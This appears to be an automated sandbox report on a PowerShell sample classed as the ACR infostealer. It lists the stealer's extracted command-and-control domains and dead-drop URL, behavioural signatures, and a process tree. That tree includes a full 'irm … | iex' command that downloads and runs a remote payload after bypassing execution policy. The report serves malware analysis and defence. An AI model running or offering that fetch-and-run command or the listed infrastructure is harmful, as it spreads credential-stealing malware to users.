Analysis
- max time kernel
149s - max time network
134s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 12:09
General
- Target F1-7E.ps1
- Size 89KB
- Sample260910-pbg4vagg49
- SHA256 1a204e21e95c52b78285d19f544cdea606659f86ab82916210a6db4dec2bf37c
Malware Config
Extracted
-
acrstealer
-
4.3.10-alpha1
-
edge.apricotrun.cc
-
fastly.net
-
ddrs
https://telegra.ph/C-Introduction-08-21
-
guids
019fd84c-02e7-7a67-9097-4f73d632de4a
f1575b64-8492-4e8b-b102-4d26e8c70371
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\F1-7E.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1az4v50d\1az4v50d.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES20B2.tmp" "c:\Users\Admin\AppData\Local\Temp\1az4v50d\CSCEDBEAA0B5D7948228C4D9F738E67ACA5.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wik2t51b\wik2t51b.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES218D.tmp" "c:\Users\Admin\AppData\Local\Temp\wik2t51b\CSCD19128A7FA794936B72D14FCF761739.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://raw.githubusercontent.com/unwanted-gif/6C-06-E4-1A-3E-0F/refs/heads/main/20-7A-9C | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
1az4v50d.dll
RES20B2.tmp
RES218D.tmp
__PSScriptPolicyTest_eb14z11o.1sc.ps1
wik2t51b.dll
1az4v50d.0.cs
1az4v50d.cmdline
CSCEDBEAA0B5D7948228C4D9F738E67ACA5.TMP
CSCD19128A7FA794936B72D14FCF761739.TMP
wik2t51b.0.cs
wik2t51b.cmdline
memory/2928-60-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-113-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-63-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-71-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-75-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-59-0x0000000000CD0000-0x0000000000D11000-memory.dmp
memory/2928-107-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-159-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-117-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/2928-112-0x0000000002900000-0x00000000029C3000-memory.dmp
memory/3788-36-0x0000016A34920000-0x0000016A3494A000-memory.dmp
memory/3788-22-0x0000016A323D0000-0x0000016A323D8000-memory.dmp
memory/3788-37-0x0000016A34920000-0x0000016A34944000-memory.dmp
memory/3788-0-0x0000016A324A0000-0x0000016A324B0000-memory.dmp
memory/3788-35-0x0000016A323E0000-0x0000016A323E8000-memory.dmp
memory/3788-68-0x0000016A324A0000-0x0000016A324B0000-memory.dmp
memory/3788-66-0x0000016A324A0000-0x0000016A324B0000-memory.dmp
memory/3788-67-0x0000016A324A0000-0x0000016A324B0000-memory.dmp
memory/3788-9-0x0000016A19F10000-0x0000016A19F32000-memory.dmp
memory/3788-1-0x0000016A324A0000-0x0000016A324B0000-memory.dmp
memory/4904-40-0x00000000052A0000-0x00000000052C2000-memory.dmp
memory/4904-58-0x000000000B970000-0x000000000BF14000-memory.dmp
memory/4904-57-0x0000000007900000-0x0000000007922000-memory.dmp
memory/4904-56-0x0000000008020000-0x00000000080B6000-memory.dmp
memory/4904-55-0x00000000081F0000-0x00000000083B2000-memory.dmp
memory/4904-54-0x0000000006790000-0x00000000067AA000-memory.dmp
memory/4904-53-0x00000000079A0000-0x000000000801A000-memory.dmp
memory/4904-52-0x00000000062A0000-0x00000000062EC000-memory.dmp
memory/4904-51-0x0000000006250000-0x000000000626E000-memory.dmp
memory/4904-50-0x0000000005CA0000-0x0000000005FF4000-memory.dmp
memory/4904-42-0x00000000053B0000-0x0000000005416000-memory.dmp
memory/4904-41-0x0000000005340000-0x00000000053A6000-memory.dmp
memory/4904-39-0x0000000005570000-0x0000000005B98000-memory.dmp
memory/4904-38-0x0000000002CA0000-0x0000000002CD6000-memory.dmp